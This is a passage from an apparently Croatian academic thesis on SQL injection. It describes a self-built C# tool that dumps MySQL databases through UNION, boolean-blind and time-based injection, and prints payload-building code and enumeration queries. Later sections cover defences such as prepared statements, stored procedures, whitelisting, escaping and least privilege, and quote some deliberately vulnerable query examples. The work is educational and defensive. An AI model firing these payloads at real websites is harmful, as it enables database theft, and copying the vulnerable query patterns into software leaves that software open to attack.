
BSQL Hacker

Safe3 SQL Injector

SQLSus

The Mole

Windows

+

+

+

 

+

Linux

+

 

 

+

+

FreeBSD

+

 

 

 

 

Mac OS X

+

 

 

 

 

 


 

5.    Implementacija jednostavnog alata za izvršavanje napada umetanjem programskog koda SQL

 

5.1.         Opis implementiranog alata

 

Razvijena je desktop aplikacija koja izvršava napad na web-stranicu unosom URL-a (engl. uniform resource locator) na kojem je moguće pronaći web-stranicu. Aplikacija zahtijeva da se radi o sustavu za upravljanje bazama podataka MySQL (engl. DataBase Management System, kratica DBMS).

 

Osnovne funkcionalnosti aplikacije su:

·       Testiranje konekcije tj. povezanosti na Internet

·       Provjera ispravnosti unesenog URL-a

·       Provjera sustava za upravljanje bazama podataka

·       Izvođenje napada odabranom tehnikom (automatski odabir, napad temeljen na operatoru UNION, napad temeljen na BOOLEAN izrazima, napad temeljen na vremenskoj zadršci)

·       Prikaz prikupljenih podataka u stablastom prikazu (engl. tree view)

·       Prikaz informacija o poslanim zahtjevima i primljenim odgovorima

·       Izvoz (engl. export) baze u json datoteku

 

Aplikacija se sastoji od dva prikaza (eng. view):

 

Glavni prozor

Sastoji se od kućice za odabir (engl. checkbox) za odabir izvoza baze podataka, radio button-a za odabir tehnike napada, polja za unos URL-a, gumba za odabir json datoteke na disku u kojoj se nalazi prethodno izvezena baza podataka, prostor za prikaz odrađenih faza napada (ovisno o odabranoj tehnici), tablični prikaz poslanih zahtjeva (engl. request) tijekom izvođenja napada te tekstualni prostor (eng. text area) za odgovor (engl. response) koji se prikazuje na odabir zahtjeva. Prikaz je moguće vidjeti na Slika 5.1. Odabirom učitavanja baze podataka iz datoteke otvara se drugi prozor, stablasti prikaz baze podataka.

Slika 5.1 Glavni prozor

 

Prozor za prikaz baze podatka

Prozor sadržava stablasti prikaz baze podataka. Odabirom određene tablice prikazuju se njeni podaci u tablici desno od stablastog prikaza (Slika 5.2).

 

Slika 5.2 Prozor za prikaz baze podataka

 

5.2.         Tehničke značajke

 

Razvijena aplikacija je WPF aplikacija napisana u jeziku C# s jednostavnim grafičkim sučeljem. Za rad aplikacije korišteni su neki od osnovnih testova za standardno ispitivanje otpornosti sustava na umetanje programskog koda SQL (opisani u poglavlju 3.2), iskorištavanje poruka pogrešaka koje vraća sustav za upravljanje bazama podataka te su implementirane tri tehnike napada koje spadaju u klasu Inband (podaci se dohvaćaju korištenjem istog kanala kao i za umetanje programskog koda SQL), a to su napad temeljen na operatoru UNION, napad temeljen na BOOLEAN izrazima te napad temeljen na vremenskoj zadršci. Za slanje i primanje odgovora korištena je klasa HttpClient i za izvoz baze podataka klasa JsonConvert.

 

5.2.1.     Iskorištavanje poruka pogrešaka i provjera baze podataka

 

Jedan od početnih koraka izvođenja napada je jedan od osnovnih testova, dodavanje jednostrukog navodnika ili znaka zarez što proizvodi pogrešku te ako je pogreška sadržaja „Query failed1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use…“ saznajemo da se radi o sustavu za upravljanje bazama podataka MySQL što je važna informacija u procesu ispitivanja tj. izvođenja napada. Također je i nužna jer implementirani alat može izvršavati napade nad MySQL bazama podataka.

 

5.2.2.     Korišteni upiti i MySQL funkcije

 

Tablica 4 Neki od upita korištenih pri prikupljanju informacija [22]

Version

SELECT @@version

Comments

SELECT 1; #comment
SELECT /*comment*/1;

Current User

SELECT user();
SELECT system_user();

Current Database

SELECT database()

List Databases

SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv

List Tables

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

If Statement

SELECT if(1=1,’foo’,'bar’);

 

Tablica 5 Korisne operacije nad znakovnim nizovima u sustavu MySQL [21]

CONCAT()

Vraća konkatenirani znakovni niz

CONCAT_WS()

Vraća konkatenirani znakovni niz vezan spojnikom

 

5.2.3.     HttpClient

 

Svi zahtjevi slani su korištenjem klase HttpClient [25] za slanje HTTP zahtjeva i primanje HTTP odgovora od resursa koji je identificiran URI-jem.

public static async Task<string> GetResponseContent(string url)

{

    using (var client = new HttpClient())

    {

        // Get response

        var response = await client.GetAsync(url);

 

        // Transform response to string

        var responseString = await response.Content.ReadAsStringAsync();

 

        // Return response as string

        return responseString;

    }

}

Primjer koda 5.1 Uporaba klase HttpClient

5.2.4.     Implementirane tehnike napada

 

Teorija implementiranih tehnika opisana je u poglavljima 3.5.1, 3.5.2 i 3.5.5.

 

Napad temeljen na operatoru UNION

Kako sam naziv tehnike napada kaže upotrebljava se operator UNION. Primjer SQL upita za bazu podataka MySQL za dohvaćanje liste schemi je prikazan u Primjer koda 5.2. Budući da operator UNION spaja rezultate više upita određeni separatori okružuju i odijeljuju dohvaćene podatke.

 

public static string GetSchemaListUnion(string outerSeparator, string hexaSeparatorMid, string hexaSeparatorEnd)

{

    return

        "concat(" +

            CommonMethods.StringToHexa(outerSeparator) + "," + "(" +

            "select+" +

                    "group_concat(" +

                        "s," +

                        hexaSeparatorMid + "," +

                        "cast(t+as+char)" +

                        "+order+by+s+" +

                        "separator+'" + hexaSeparatorEnd + "'" +

                    ")" +

                "from(" +

                    "select+" +

                        "cast(TABLE_SCHEMA+as+char)s," +

                        "count(TABLE_NAME)t+" +

                    "from+" +

                        "INFORMATION_SCHEMA.tables+" +

                    "group+by+s" +

                ")x"

      + ")" + "," + CommonMethods.StringToHexa(outerSeparator) +

     ")";

}

Primjer koda 5.2 Dohvaćanje liste schemi

 

Napad temeljen na BOOLEAN izrazima

Napad temeljen na BOOLEAN izrazima je tehnika grubom silom (engl. brute-force) kojom se provjereva istinitost niza izraza, primjerice je li prvo slovo naziva tablice slovo 'a'. Ako je, traži se sljedeće slovo, ako nije provjerava se za slovo 'b' i tako redom.  Pritom je potrebno paziti na kraj riječi budući da korištena ASCII funkcija vraća null vrijednost u dva slučaja. Kada uspoređujemo znak s ASCII kodom 0 (vrijednost null) vraća se true ili kada smo pretražili cijeli niz znakova ili smo analizirali null znak.

 

public static string GetIthLetterOfNthTableSchemaBlind(int N, int i)

{

    return

        "+and+ascii(substring((" + "select+distinct+table_schema+from+information_schema.tables+limit+"
        + (N - 1) + ",1" + ")," + i + ",1))";

}

Primjer koda 5.3 Traženje i-tog znaka n-te scheme


Kada se rezultat navedenog programskog odsječka konkatenira na početni URL rezultat upita koji se izvrši je istina ili laž, što odlučuje implementirana komponenta Comparator. Prilikom inicijalizacije instance klase Comparator najprije se postavlja referentni uvijek-istinit i uvijek-lažan odgovor.

Postoje 4 razine odlučivanja, navedenim redosljedom:

·       Usporedba statusnih kodova

·       Usporedba zaglavlja (engl. headers)

·       Usporedba sadržaja HTML odgovora

·       Usporedba filtriranog sadržaja HTML odgovora (sadržaj bez poveznica i varijabilnih dijelova poput datuma i vremena)

 

Napad temeljen na vremenskoj zadršci

Ova tehnika napada temelji se na funkciji sleep({numberOfSleepingSeconds}). Prvo se provjerava pokazuju li se uvijek istiniti uvjeti istinitima, a lažni lažnima.

 

Istiniti uvjeti: "true=true", "false=false", "true%21=false", "1=1", "2=2", "1%21=2"

Lažni uvjeti: "true=false", "true%21=true", "false%21=false", "1=2", "1%21=1", "2%21=2"

Ako su rezultati ispravni nastavlja se izvođenje tehnike.  If naredba za sustav MySQL [23] je oblika

IF (condition, true, false)

pa je provjera je li verzija MySQL baze podataka verzije 5.1.x. sljedeća:

if (version() like ‘5.1%’, sleep(5), 1)

 

Trajanje do primitka odgovara mjeri se štopericom klase Stopwatch [26] i ako je trajanje takvo da je uključeno “spavanje” od definiranog broja sekundi, verzija MySQL baze podataka je pronađena.

Budući da se koristi funkcija sleep() kojom se gubi puno vremena na čekanje, ova tehnika smatra se manje efikasnom te je implementirano samo dohvaćanje verzije baze podataka jer bi dohvaćanje svih podataka bilo kojom implementacijom trajalo predugo.

 

Automatski odabir tehnike napada

Tehnike napada izvode se prema efikasnosti pri čemu se u obzir uzima trajanje napada i količina dohvaćenih podataka. Najbrži je napad temeljen na operatoru UNION, zatim napad temeljen na BOOLEAN izrazima i na kraju napad temeljen na vremenskoj zadršci. Ako prva tehnika napada nije moguća ili je njenom uporabom uspješno dohvaćen samo dio podataka nastavlja se druga tehnika i analogno treća.

 

5.2.5.     Izvoz baze podataka

 

Izvoz baze podataka implementiran je uporabom klase JsonConvert [27] klase (namespace Newtonsoft.Json) za serijalizaciju baze podataka (vlastita klasa Database) u json datoteku.

 

var sw = new StreamWriter(DataFiles.DatabaseJSON);

 

sw.Write(JsonConvert.SerializeObject(database));

sw.Flush();

sw.Close();

Primjer koda 5.4 Izvoz baze podataka

 

5.3.         Upute za korištenje

 

Pokretanjem aplikacije pojavljuje se glavni prozor prikazan na Slika 5.1. Unosom ili kopiranjem URL-a u prazno polje ‘Url’ te klikom na gumb ‘Start’ započinje se napad. Automatski je odabrana najefikasnija tehnika napada te izvoz baze podataka, koji je opcionalan. Aplikacija testira povezanost na Internet, provjerava ispravnost formata unesenog URL-a te provjerava radi li se o sustavu za upravljanje bazama podataka MySQL budući da je to nužan preduvjet za izvršavanje napada.

 

5.3.1.     Osnovni scenariji

 

Uspješan napad

Uspješno izvršen napad umetanjem programskog koda SQL prepoznaje se po otvorenom prozoru prikaza baze podataka (Slika 5.2) u kojem struktura baze i/ili tablični prikaz nisu prazni te po poruci sadržaja ‘Završetak napada’ u prostoru za prikaz odrađenih faza napada. Scenarij uspješno izvedenog napada prikazan je na Slika 5.3.

 

Slika 5.3 Prikaz uspješno izvedenog napada umetanjem SQL koda

 

U slučaju izvođenja napada temeljenog na BOOLEAN izazima napad se izvršava do razine atributa tablica. Klikom na prikaz podataka za određenu tablicu javlja se poruka prikazana na Slika 5.4. Klikom na gumb ‘OK’ izvodi se zadnja faza napada, dohvaćanje redaka tablice, te prikazuje u tabličnom prikazu.

 

Slika 5.4 Naknadno izvođenje dohvaćanja redaka u slučaju napada temeljenog na BOOLEAN izrazima

Neuspješan napad

Neuspješno izvršen napad umetanjem programskog koda SQL prepoznaje se po pojavljenom prozoru s porukom ‘Napad umetanjem SQL koda nije uspio.’, u prozoru za prikaz odrađenih faza piše da odabrana tehnika napada nije uspjela te se u tablici sa zahtjevima nalazi zahtjev sa statusom NE‘ (Slika 5.5).

 

Slika 5.5 Prikaz neuspješno izvedenog napada umetanjem SQL koda

 

5.3.2.     Dodatne mogućnosti

 

Pregled informacija o poslanim zahtjevima i primljenim odgovorima

Bez obzira na uspješnost napada moguće je vidjeti ispis svih zahtjeva koji su poslani tijekom izvođenja napada. Dvoklikom na pojedini zahtjev iz tablice u tekstualnom polju ispod tablice zahtjeva prikazuje se HTML odgovor. Tablica i odgovarajuće polje prikazani su na Slika 5.6.

 

Slika 5.6 Pregled informacija o poslanim zahtjevima i primljenim odgovorima

 

Učitavanje baze podataka

Uz izvršavanje odabrane tehnike napada moguće je alat koristiti i samo za prikaz baze podataka. Potrebno je učitati json datoteku, koja je nastala prethodnim izvođenjem napada te izvozom, tako što se klikne gumb Odaberi’, zatim na disku odabere odgovarajuća datoteka i klikne gumb ‘Učitaj’. Uspješnim učitavanjem otvara se prozor prikazan na Slika 5.2., a proces učitavanja baze podataka prikazan je na Slika 5.7.

Slika 5.7 Prikaz učitavanja baze podataka iz datoteke

 

5.3.3.     Ostali scenariji

 

Nevaljali URL

Valjanost URL-a provjerava se uporabom regularnih izraza te se u slučaju nevaljalog URL-a dojavljuje informativna poruka prikazana Slika 5.8.

Slika 5.8 Prikaz poruke o nevaljalom URL-u

 

Neodgovarajuća baza podataka

Implementirani sustav ima mogućnosti izvođenja napada nad bazama podataka MySQL stoga treba provjeriti odgovara li korištena baza podataka te u slučaju da ne javlja se informativna poruka prikazana na Slika 5.9.

 

Slika 5.9 Prikaz poruke o neodgovarajućoj bazi podataka

Nema veze na Internet

U slučaju da računalo nema vezu na Internet javlja se poruka prikazana na Slika 5.10.

 

Slika 5.10 Prikaz poruke u slučaju da nema veze na Internet

 

5.4.          Testno okruženje

 

Testno okruženje čini osnovna web-stranica napisana u programskom jeziku PHP te baza podataka MySQL. Stranica simulira online web shop i bazu podataka čine podaci o proizvodima i kategorijama proizvoda, korisnicima i njihovim profilima te karticama, narudžbama i zaposlenicima. Model baze podataka prikazan je na dijagramu prikazanom na Slika 5.11.

Slika 5.11 Klasni dijagram MySQL baze podataka

 

Web-stranica služi samo kako bi se mogao pokušati izvršiti napad stoga prikazuje samo proizvode (Slika 5.12) i njihove detalje (Slika 5.13).

 

Slika 5.12 Prikaz podataka o proizvodima

 

Slika 5.13 Prikaz podataka o detaljima pojedinog proizvoda

 

Na računalu s operativnim sustavom Windows 10 i procesorom specifikacija Intel Core i7-7500 CPU, 2.70 GHz, 2 jezgre i 4 logička procesora trajanja izvedbi napada, nad bazom podataka koja sadrži 4 sheme, 12 tablica i 50 atributa, prikazana su u Tablica 6.

 

Tablica 6 Vremena trajanja izvođenja napada

Tehnika napada

Trajanje (min)

Napad temeljen na operatoru UNION

0.05

Napad temeljen na BOOLEAN izrazima

4.84

Napad temeljen na vremenskoj zadršci*

0.12

* Vidno manji obujam dohvaćanih podataka


 

6.    Tehnike obrane od umetanja koda

 

Postoji mnogo tipova umetanja koda od kojih su najpoznatiji spomenuti u poglavlju 2.1. Tehnike za obranu od umetanja koda mogle bi se sumirati i opisati kao upotrebljavanje sigurnih ulaza i izlaza. Upravljanje ulazom (eng. input) je način na koji aplikacija ili poslužitelj upravlja unosom korisnika ili dobivenih podataka putem mreže, dok je upravljanje izlazom (engl. output) način na koji aplikacija, poslužitelj ili sustav upravljaju izlazom čime se smatra npr. generiranje HTML-a, ispisivanje, zapisivanje detaljnih informacija (engl. logging) [29].

Upotreba sigurnih ulaza i izlaza podrazumijeva sljedeće [28]:

·       Upotrebu API-ja (engl. application programming interface) koji je siguran za bilo koje ulaze ako se pravilno koristi, primjerice upotreba PDO-a (engl. PHP Data Objects) za pripremljene naredbe (više u poglavlju 7.1.1)

·       Validaciju – osiguravanje da su podaci sigurni za korištenje

-        Bijela lista (engl. whitelist) – definiranje dozvoljenih unosa

-        Crna lista (engl. blacklist) – definiranje zabranjenih unosa

·       U slučaju neočekivanih ili nevaljalih unosa prekid izvođenja, te pritom obraćanje pažnje da se time ne stvori mogućnost za izvođenje DoS (engl. Denial of Service) napada

·       Pročišćivanje i formatiranje podataka – bolji pristup od prekida izvođenja no podrazumijeva vremenski zahtjevniju implementaciju; postoji mogućnost korupcije podataka sto vodi do neočekivanog ponašanja

·       Escaping – mijenjanje tj. kodiranje potencijalno opasnih znakova u sigurne

-        Primjer: prilikom generiranja HTML-a <script> se kodira u &lt;script&gt;

-        Kodiranje ulaza – npr. u programskom jeziku PHP koristi se funkcija htmlspecialchars() koja pretvara HTML tagove u ISO ekvivalent

-        Kodiranje izlaza – npr. radi sprječavanja XSS napada (engl. cross-site scripting); važno jer izlaz često sadržava korisnikov unos


 

7.    Tehnike obrane od umetanja programskog koda SQL

 

Napadi umetanjem programskog koda SQL vrlo su česti i uspješni, a zapravo ih je vrlo lako izbjeći. Problemi nastaju jer se miješaju programski kod i podaci. Općenit savjet je izbjegavanje pisanja dinamičkih upita (ako je moguće u potpunosti) te validiranje korisničkog unosa.

 

7.1.         Osnovne tehnike obrane od umetanja programskog koda SQL

 

U osnovne tehnike obrane od umetanja programskog koda SQL spadaju pripremljene naredbe, pohranjene procedure, validacija korisničkog unosa i escaping [30].

 

7.1.1.     Pripremljene naredbe

 

Pripremljene naredbe (engl. prepared statements) direktno rješavaju problem miješanja koda i podataka te ih je jednostavno za pisati i lako za razumjeti. Osnovna ideja pripremljenih naredbi je odvojeno slanje upita i podataka na poslužitelj i osnovno pravilo je da svaki dinamički element ulazi u upit preko zamjenskih znakova (engl. placeholder). Programer je prisiljen definirati SQL kod i predati svaki parametar upitu tek naknadno te je time osiguran da napadač ne promijeni namjeru upita iako je zlonamjeran kod umetnut. Upiti umjesto parametara sadržavaju zamjenske znakove najčešće u obliku znaka upitnika. Navedeni koncept omogućava da se iste naredbe mogu izvršavati više puta s visokim performansama.

Sastoje od 3 koraka [31]:

1.     Priprema (engl. prepare)

 

$db->prepare(„INSERT INTO PRODUCT (name, price) VALUES (?, ?)“);

 

2.     Sustav za upravljanje bazama podataka analizira, prevodi i izvodi optimizaciju upita te pohranjuje rezultat optimizacije bez izvođenja

 

3.     Izvršavanje (engl. execute) – nakon što aplikacija preda i poveže parametre SUBP izvršava upit

 

$db->execute($data);

Prednosti

-        Prevođenje i optimiziranje se odvija samo jednom, dok se izvršavanje odvija više puta

-        Obavlja se kompletno formatiranje (dok god se koristi odgovarajući tip podatka) bez uplitanja programera i to u pravom trenutku, prije izvršavanja upita

-        Otpornost napadima umetanja programskog koda SQL

Nedostaci

-        Podržavaju samo dvije grupe tipova podatka – znakovne nizove i brojeve, sto često nije dovoljno

-        Ako je upit izveden samo jednom, uporaba pripremljenih naredbi sporija je zbog dodatnog puta prema poslužitelju. Također brzina ovisi o pojedinoj implementaciji (npr. neke verzije MySQL-a nisu pohranjivale rezultate optimizacije pripremljenih naredbi)

-        Ponekad uporabom pripremljenih naredbi mogu biti narušene performanse te je u tom slučaju potrebno koristiti snažnu validaciju i escapeing svog korisničkog unosa

 

Kada je zbog kompleksnosti strukture neophodna uporaba dinamičkih upita kao rješenje ostaje pažljivo formatiranje ili vlastita implementacija zamjenskih znakova za potrebne kompleksnije tipove, primjerice lista integera, lista stringova itd. Primjer postojećeg rješenja moguće je vidjeti na safemysql.

 

Primjeri

 

String custname = request.getParameter("customerName"); // This should REALLY be validated too

 

// Perform input validation to detect attacks

String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

 

PreparedStatement pstmt = connection.prepareStatement(query);

 

pstmt.setString(1, custname);

 

ResultSet results = pstmt.executeQuery();

Primjer koda 7.1 Pripremljene naredbe (Java) [32]

java.sql.PreparedStatement stmt = connection.prepareStatement(

              "SELECT * FROM users WHERE USERNAME = ? AND ROOM = ?");

 

stmt.setString(1, username);

stmt.setInt(2, roomNumber);

 

stmt.executeQuery();

Primjer koda 7.2 Pripremljene naredbe (Java JDBC) [31]

 

Napomena: Java PreparedStatement sadrži tzv. settere za većinu ugrađenih tipova podataka (npr. setString(String), setDouble(double))

 

String query =

      "SELECT account_balance FROM user_data WHERE user_name = ?";

 

OleDbCommand command = new OleDbCommand(query, connection);

 

command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));

 

OleDbDataReader reader = command.ExecuteReader();

Primjer koda 7.3 Pripremljene naredbe (.NET C#) [32]

 

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");

 

$stmt->bindParam(':name', $name);

$stmt->bindParam(':value', $value);

Primjer koda 7.4 Pripremljene naredbe (PHP - PDO) [32]

 

$stmt = $dbh->prepare("SELECT * FROM users WHERE USERNAME = ? AND PASSWORD = ?");

 

$stmt->execute(array($username, $pass));

Primjer koda 7.5 Pripremljene naredbe (PHP - PDO) [31]

$stmt = $dbh->prepare("SELECT * FROM users WHERE USERNAME=:username AND   PASSWORD=:pass");

 

$stmt->execute(array('username' => $username, 'pass' => $pass));

Primjer koda 7.6 Pripremljene naredbe (PHP - PDO) [31]

 

7.1.2.     Pohranjene procedure

 

Pohranjena procedura (engl. stored procedure) je grupa SQL naredbi koja je kreirana i pohranjena u bazi podataka (u odnosu na pripremljene naredbe) i pozivana iz aplikacije. Pohranjene procedure izvršavaju se unutar sustava za upravljanje bazama podataka koji ima direktan pristup podacima pa se tako smanjuje promet, izbjegnuti su komunikacijski troškovi i povećavaju se performanse što postaje značajno kod kompleksnih SQL naredbi [33].

Prednosti

-        Enkapsulacija poslovne logike – nalazi se na jednom mjestu i smanjena je vjerojatnost da klijentski program korumpira podatke

-        Ako se pohranjena procedura promijeni svi klijenti dobivaju ažurnu verziju

-        Izbjegnuto je prevođenje pri svakom pozivu

-        U mnogim sustavima pohranjene procedure imaju privilegije koje sami korisnici koji pozivaju te pohranjene procedure nemaju direktno

Nedostaci

-        Jezici kojima se pišu pohranjene procedure su često vendor-specific pa se mijenjanjem pružatelja usluga (engl. vendor) uglavnom sve pohranjene procedure trebaju nanovo pisati

-        Alati za pisanje i traženje pogrešaka (engl. debugging) nisu toliko napredni kao za ostale programske jezike

-        Postoje situacije u kojima pohranjene procedure povećavaju rizik od umetanja programskog koda SQL, npr. na poslužitelju MS SQL potrebne su minimalno 3 predefinirane uloge (engl. role)- db_datareader, db_datawriter i db_owner. Problem je što pohranjene procedure zahtijevaju ovlasti za izvršavanje, a to prema predefiniranim postavkama nije zadano navedenim ulogama. Kada je upravljanje korisnicima centralizirano i limitirano na spomenute tri uloge, slijedi to da se sve web-aplikacije izvode s db_owner ovlastima kako bi se pohranjene procedure mogle izvoditi. To znači da ako napadač dođe do poslužitelja umjesto ovlasti za čitanje (engl. read access) ima puna prava nad bazom podataka.

 

Pohranjene procedure mogu se upotrebljavati kao tehnika obrane od SQL injectiona. Nisu sigurna obrana, ali kad su pravilno napisane imaju isti efekt kao pripremljene naredbe. Moguće je nepravilno napisati pohranjenu proceduru ako je uključeno dinamičko generiranje SQL koda, što treba izbjegavati ako je moguće (u protivnom treba snažno validirati korisnički unos i napraviti odgovarajući escaping). Zbog jednostavnog sučelja i implementacija na klijentskoj strani, pripremljene naredbe korištene su češće u odnosu na pohranjene procedure.

 

Primjeri

 

String custname = request.getParameter("customerName"); // This should be validated

 

CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");

 

cs.setString(1, custname);

 

ResultSet results = cs.executeQuery();      

Primjer koda 7.7 Pohranjena procedura (Java) [30]

 

Napomena: Primjer programskog koda koristi CallableStatement, Java implementaciju sučelja za pohranjene procedure

 

Dim command As SqlCommand = new SqlCommand("sp_getAccountBalance", connection)

command.CommandType = CommandType.StoredProcedure

 

command.Parameters.Add(new SqlParameter("@CustomerName", CustomerName.Text))

 

Dim reader As SqlDataReader = command.ExecuteReader()

Primjer koda 7.8 Pohranjena procedura (.NET VB) [32]

Napomena: Primjer programskog koda koristi SqlCommand, .NET implementaciju sučelja za pohranjene procedure

 

PROCEDURE SafeGetBalanceQuery(UserID varchar, Dept varchar)

AS BEGIN

   SELECT balance FROM accounts_table WHERE user_ID = UserID AND department = Dept;

 END;

Primjer koda 7.9 Pohranjena procedura (Oracle - PL/SQL) [32]

 

PROCEDURE SafeGetBalanceQuery(@UserID varchar(20), @Dept varchar(10))

AS BEGIN

   SELECT balance FROM accounts_table WHERE user_ID = @UserID AND department = @Dept

 END

Primjer koda 7.10 Pohranjena procedura (SQL Server-Transact-SQL) [32]

 

7.1.3.     Validacija korisničkog unosa uporabom bijele liste

 

Određeni dijelovi SQL upita, poput naziva tablica ili atributa i poretka sortiranja, ne mogu biti parametrizirani, budući da su dio strukture upita. Ako je neophodno koristiti korisnički unos u nekom obliku potrebno je te vrijednosti mapirati u očekivane nazive tablica i atributa. Ta tehnika obrane naziva se bijela lista (engl. whitelist). Suprotna logika, mapiranje zabranjenih vrijednosti, koristi se u tzv. crnim listama (engl. blacklist). Češće se koriste, i češće su praktičnije i bolje, bijele liste.

String tableName;

 

switch(PARAM):

    case "Value1": tableName = "fooTable";

                  break;

    case "Value2": tableName = "barTable";

                  break;

     ...

   default: throw new InputValidationException("Unexpected value

                                        provided for table name");

            Primjer koda 7.11 Validacija naziva tablica bijelom listom [30]

 

Što se tiče poretka sortiranja, najbolja praksa je pretvoriti korisnički unos u boolean, što se vidi u Primjer koda 5.1.

 

public String someMethod(boolean sortOrder) {

 

    String SQLquery = "some SQL... order by Salary" + (sortOrder ? "ASC" : "DESC");

 ...

}

Primjer koda 7.12 Validacija poretka sortiranja bijelom listom [30]

 

7.1.4.     Obrada korisničkih unosa

 

Za svaku bazu podataka koja se koristi postoje znakovi s posebnim značenjem i ponekad je potrebno reći bazi podataka da znakove u određenom upitu ne tretira kao da su posebni. Primjer je znakovni niz koji unutar sebe sadrži navodnike “Hello “World““. Prevoditelj ne bi znao gdje je kraj znakovnog niza jer postoji dvoznačnost te bi to prouzročilo pogrešku. Escaping znakova znači uklanjanje dvoznačnosti uzrokovane uporabom specijalnih znakova kao običnih tj. u okruženju u kojem ih je potrebno tretirati kao obične. Implementacija je vrlo specifična ovisno o kojoj bazi podataka se radi.

Ova tehnika treba se koristiti kao posljednja i najmanje efikasna. Ideja je obraditi svaki korisnički unos prije nego što se ubaci u upit. Radi se samo kada je validacija korisničkog unosa preskupa i kada se koristi nasljeđeni (engl. legacy) kod. U protivnom je bolje nanovo napisati aplikaciju koristeći pripremljene naredbe i pohranjene procedure.

 

Escaping zamjenskih znakova u LIKE dijelovima upita

 

U naredbama za pretraživanje teksta uz ključnu riječ LIKE koriste se određeni zamjenski znakovi (engl. wildcard character) koji mogu uzrokovati probleme. Npr. u bazi podataka Oracle znak postotka znači 0 ili više ponavljanja bilo kojeg znaka i znak donje povlake znači pojavljivanje samo jednog znaka [30].

Primjer: escaping zamjenskih znakova u LIKE dijelovima upita [30]

SELECT name FROM emp

WHERE id LIKE '%\%%' ESCAPE '\';

 

Oracle 10g escaping

 

Primjer escapinga za bazu Oracle  10g je da se oko znakovnog niza stave vitičaste zagrade ‘{}’ kako bi se uklonila potencijalna dvoznačnost u cijelom znakovnom nizu. Potreban je oprez ako znak zatvorene vitičaste zagrade ‘}’ već postoji u znakovnom nizu te ako da potrebno ga je zamijeniti s ‘}}’ [30].

 

MySQL escaping

 

MySQL podržava dva načina escapinga [30]

1.     ANSI_QUOTES SQL način – zamjenjuje sve jednostruke navodnike dvostrukima

2.     MySQL način – dodaje obrnutu kosu crtu (engl. backslash) prije svih posebnih znakova

 

MySQL načina escapinga za neke posebne znakove:

TAB (0x09) --> \t

'   (0x27) --> \'

 \  (0x5c) --> \\

 _  (0x5f) --> \_

 

Kodiranje prebacivanjem u heksadekadski sustav

 

Poseban slučaj escapinga je kodiranje cijelog znakovnog niza koji je dobiven od korisnika u heksadekadski sustav (engl. hex-encoding) tj. escaping svakog znaka.

Primjer: Kodiranje prebacivanjem u heksadekadski sustav [30]

SELECT ... FROM session

WHERE hex_encode (sessionID) = '616263313233'

 

Ako napadač pokuša umetnuti jednostruki navodnik u pokušaju izvođenja napada umetanjem programskog koda SQL, WHERE dio upita izgledao bi ovako

WHERE hex_encode ( ... ) = '2720 ... '

te se u upitu tako ne pojavljuje niti jedan znak, poput jednostrukog navodnika, koji bi omogućio napad umetanjem SQL koda jer su svi znakovi predstavljeni heksadekadski ekvivalentima [30].

 

Escaping dinamičkih upita uporabom ESAPI kodera

 

OWASP ESAPI je biblioteka otvorenog koda za kontrolu sigurnosti web-aplikacija koja pomaže programerima da manje brinu o sigurnosti i pišu sigurnije aplikacije tako da “ugrade“ sigurnost koje do sada nije bilo. Za svaki programski jezik postoji skup sučelja za kontrolu sigurnosti koji primjerice definiraju tipove parametara koji se mogu predati. Za sve kontrole sigurnosti postoji određena referentna implementacija (npr. validacija znakovnog niza), no moguće je za svaku kontrolu jednostavno koristiti vlastitu implementaciju (npr. autentifikacija) [38]. U Primjer koda 7.13. moguće je vidjeti kako izgleda dinamički upit bez uporabe ESAPI kodera, a u Primjer koda 7.14. kako izgleda s uporabom.

 

String query =

    "SELECT user_id FROM user_data WHERE user_name = '" +  

            req.getParameter("userID") + "' and user_password = '"

            + req.getParameter("pwd") +"'";

 

Statement statement = connection.createStatement( … );

ResultSet results = statement.executeQuery( query );

Primjer koda 7.13 Dinamički upit bez korištenja ESAPI kodera (Oracle) [30]

Codec ORACLE_CODEC = new OracleCodec();

 

String query =

    "SELECT user_id FROM user_data WHERE user_name = '" +

         ESAPI.encoder().encodeForSQL(ORACLE_CODEC, req.getParameter("userID")) +

              "' and user_password = '" +

         ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("pwd")) +"'";

Primjer koda 7.14 Dinamički upit korištenjem ESAPI kodera (Oracle) [30]

 

7.1.5.     Minimalne privilegije

 

Tehnika davanja minimalnih privilegija više je mjera opreza kojom se potiče smanjenje privilegija za korisničke račune na minimum, a savjeti su sljedeći [30]:

·       Ne dodjeljivati administratorska prava korisničkim računima

·       Dodijeliti prava samo na tablice koje određeni račun koristi i ako se koriste pohranjene procedure samo na one procedure koje određeni račun koristi, bez tablica

·       Ako se koristi samo dio tablice ili rezultati join-ova tablica treba napraviti poglede (engl. view) te dodijeliti prava samo na njih. Ako se npr. iz nepoznatog razloga u bazu spremaju korisničke lozinke dobro je napraviti pogled koji vraća samo hasheve lozinki pa u slučaju da napadač dođe do pogleda, doći će samo do hasheva, a ne i pravih lozinki budući da nijedan korisnik baze podataka nema ovlasti nad tablicom u kojoj su pohranjene lozinke već samo na poglede

·       Minimizirati privilegije računa operativnog sustava na kojem je pokrenut sustav za upravljanje bazama podataka i ne ga pokretati kao korisnik root ili system. Npr. za sustav MySQL zadane postavke su da se na operativnom sustavu Windows pokreće kao system, što je opasno

 

7.2.         Tehnike obrane od umetanja programskog koda SQL vezane za programski jezik PHP i sustav za upravljanje bazama podataka MySQL

 

7.2.1.     Magic quotes

 

Element programskog jezika PHP nazvan Magic quotes uveden je kako bi se programerima olakšalo pisanje SQL naredbi tako što ne bi morali paziti na specijalne znakove jer su se navedenom značajkom automatski dodavali prefiksi (u obliku obrnute kose crte) specijalnim znakovima kako bi se izbjegla moguća dvoznačnost i spriječile sintaksne pogreške.

 

// User and password come from a simple POST’ed form

$user = $_POST[‘user’];

$password = $_POST[‘password’];

 

$query = “SELECT name, age, credit_card FROM usertable

WHERE username = ‘$user’ AND password = ‘$password’ “;

 

$result = mysql_query($query);

 

// Check if mysql found anything, and get the record if it did

if (mysql_num_rows($result) > 0)

{

     $data = mysql_fetch_assoc($result);

     echo ‘Hello ‘.$user.’!’;

